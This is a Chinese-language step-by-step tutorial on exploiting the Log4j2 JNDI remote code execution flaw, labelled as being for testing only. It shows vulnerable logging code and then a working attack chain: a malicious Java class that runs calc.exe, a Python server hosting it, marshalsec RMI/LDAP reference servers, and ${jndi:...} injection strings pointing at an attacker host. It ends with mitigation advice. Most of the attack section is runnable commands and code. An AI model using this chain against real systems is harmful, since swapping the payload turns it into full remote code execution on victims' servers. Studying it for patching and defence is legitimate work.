Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)
文章目录
- Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)
- 一、前言
- 二、被攻击端
- 三、攻击端
- 1.JNDI RCE漏洞嗅探
- 2.编写恶意代码并编译
- 3.搭建codebase web服务
- 4.搭建RMI或LDAP服务监听
- 四、漏洞解决方案
- 1.升级jdk版本(`>8u191`)
- 2.升级log4j2版本(`>=2.15.0`)
- 3.临时解决方案
一、前言
近日,Java日志组件Log4j2爆出严重0 day漏洞,吓得我赶紧研究了一下,不看不知道,这玩意的严重程度极高,达到10分,且易于利用。
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。
JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
RCE漏洞(Remote Command/Code Execute)指远程代码执行漏洞。
二、被攻击端
@Component
public class CorsFilter implements Filter {
public static final Logger LOGGER = LoggerFactory.getLogger(CorsFilter.class);
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse rep = (HttpServletResponse) servletResponse;
final String authorization = req.getHeader("Authorization");
// Logger 使用log4j2 2.14
LOGGER.info(authorization);
if (CorsUtils.isCorsRequest(req)) {
// 省略无关代码
}
filterChain.doFilter(servletRequest, servletResponse);
}
}
三、攻击端
1.JNDI RCE漏洞嗅探
- 原理
将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。
dnslog Platform
- 探测漏洞
通过postman测试,发现
log4j2 2.14
确实存在JDNI漏洞。
2.编写恶意代码并编译
注意:与“被攻击端”保持一致的jdk版本,避免“被攻击端”不支持加载恶意class。
mkdir -p /opt/jndi/attack-code
cat > Calc.java <<\EOF
import java.io.*;
public class Calc {
static {
try {
// 打开“被攻击端”的计算器程序
Runtime.getRuntime().exec("calc.exe");
}
catch (IOException ex) {
ex.printStackTrace();
}
}
}
EOF
javac Calc.java
3.搭建codebase web服务
cd /opt/jndi/attack-code
nohup python -m SimpleHTTPServer 1111 > nohup.out 2>&1 &
netstat -lntp
curl http://localhost:1111/
4.搭建RMI或LDAP服务监听
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
- 用法
java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]
- 使用RMI协议
对应的注入字符串为
${jndi:rmi://192.168.198.138:9999/Calc}
;注意要求jdk
版本小于8u121
,比如我本地搭建的被攻击端测试服务使用jdk为8u151,使用RMI攻击失败,必须要求被攻击端再程序中增加System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
才可成功注入恶意代码。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.198.138:1111/#Calc" 9999
- 使用LDAP协议
对应的注入字符串为
${jndi:ldap://192.168.198.138:9999/Calc}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.198.138:1111/#Calc" 9999
- 通过postman注入
jndi
地址${jndi:rmi://192.168.198.138:9999/Calc}
或${jndi:ldap://192.168.198.138:9999/Calc}
(根据攻击端的协议类型而定),此时发现被攻击端服务器弹出计算器
程序。
四、漏洞解决方案
1.升级jdk版本(>8u191
)
-
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
-
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
-
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
2.升级log4j2版本(>=2.15.0
)
升级log4j2版本到
2.15.0
,springboot可通过在pom.xml
中增加如下配置升级log4j2版本。
<properties>
<log4j2.version>2.15.0</log4j2.version>
</properties>
3.临时解决方案
- JVM
JVM启动参数增加
-Dlog4j2.formatMsgNoLookups=true
或在项目的类路径(classpath)下增加log4j2.component.properties
配置文件并增加配置项log4j2.formatMsgNoLookups=true
- 网络
禁止
被攻击端
连接互联网
参考:
dnslog小技巧
5-java安全基础——RMI和JNDI实现漏洞利用
Fastjson反序列化与JNDI注入
【入坑JAVA安全】老公,JNDI注入是什么呀?